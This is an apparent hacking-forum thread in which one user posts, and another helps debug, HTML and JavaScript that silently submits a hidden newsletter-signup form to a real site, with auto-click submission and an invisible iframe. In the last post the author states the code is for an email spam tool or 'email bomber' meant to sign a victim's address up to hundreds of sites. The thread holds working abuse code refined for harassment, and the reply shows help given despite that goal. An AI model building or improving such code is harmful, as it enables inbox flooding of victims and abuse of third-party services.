Login Register






Problem with js code filter_list
Author
Message
RE: Problem with js code #11
Ok, here is a code strip

Basic js element
Code:
document.write('');

HTML form code

Code:
<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"> <input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"> <input type="hidden" name="email" value="'+email_data+'"> <input type="hidden" name="htmlemail" value="1"> <input type="hidden" name="attribute7" value="Joaquim"> <input type="hidden" name="attribute6" value="Broodly"> <input type="hidden" name="rssfrequency" value="daily"> <input type="hidden" name="list[3]" value="signup"> <input type="hidden" name="listname[3]" value="Updates fra nkk.dk"> <input type="hidden" name="list[2]" value="signup"> <input type="hidden" name="listname[2]" value="NKK Info"> <input type="hidden" name="VerificationCodeX" value=""> <input type="submit" name="subscribe" value="subscribe"> </form>

Submit automation

Code:
document.forms[0]["subscribe"].click();

Invisible code to avoid unwanted changes to the landing page

Code:
<iframe src="#" frameborder="0" heigth="0" width="0"></iframe>

Make the code in one line

Code:
data:text/html;charset=utf-8,

Reply

RE: Problem with js code #12
(08-24-2016, 10:56 PM)hacxx Wrote: Ok, here is a code strip

Basic js element
Code:
document.write('');

HTML form code

Code:
<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"> <input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"> <input type="hidden" name="email" value="'+email_data+'"> <input type="hidden" name="htmlemail" value="1"> <input type="hidden" name="attribute7" value="Joaquim"> <input type="hidden" name="attribute6" value="Broodly"> <input type="hidden" name="rssfrequency" value="daily"> <input type="hidden" name="list[3]" value="signup"> <input type="hidden" name="listname[3]" value="Updates fra nkk.dk"> <input type="hidden" name="list[2]" value="signup"> <input type="hidden" name="listname[2]" value="NKK Info"> <input type="hidden" name="VerificationCodeX" value=""> <input type="submit" name="subscribe" value="subscribe"> </form>

Submit automation

Code:
document.forms[0]["subscribe"].click();

Invisible code to avoid unwanted changes to the landing page

Code:
<iframe src="#" frameborder="0" heigth="0" width="0"></iframe>

Make the code in one line

Code:
data:text/html;charset=utf-8,

Ok, well one of your issues is that you are trying to submit a form that hasn't been defined yet. The other is using an iframe, and the third is that you have made this overcomplicated. Why don't you try using this (as the whole page)

Code:
<html>  <head></head>  <body>    <form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe">    <input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"/>    <input type="hidden" name="email" value="'+email_data+'" />    <input type="hidden" name="htmlemail" value="1" />    <input type="hidden" name="attribute7" value="Joaquim" />    <input type="hidden" name="attribute6" value="Broodly" />    <input type="hidden" name="rssfrequency" value="daily" />    <input type="hidden" name="list[3]" value="signup" />    <input type="hidden" name="listname[3]" value="Updates fra nkk.dk" />    <input type="hidden" name="list[2]" value="signup" />    <input type="hidden" name="listname[2]" value="NKK Info" />    <input type="hidden" name="VerificationCodeX" value="" />    <input type="submit" name="subscribe" value="subscribe" />    </form>  </body>  <script>    document.forms[0]["subscribe"].click();  </script> </html>

You also forgot to close every one of the input tags. Your problem isn't with HTML or JS, its with overcomplexity.

Reply

RE: Problem with js code #13
@phyrrus9

If you didn't figure out by now. The code is for a Email SPAM tool or Email Bomber.

If i use your code where can i specify the '+email_data+' variable? Also you are informing the browser to make an form action in http://www.nkk.dk/nyhedsbrev/?p=subscribe which will land the user into nkk.dk domain.

This action must be invisible because the user will submit to hundreds of sites just by typing an email. And it needs a interface to give a feel that it's working (and it is).

Anyway if you have a diferent sugestion
reply back

Reply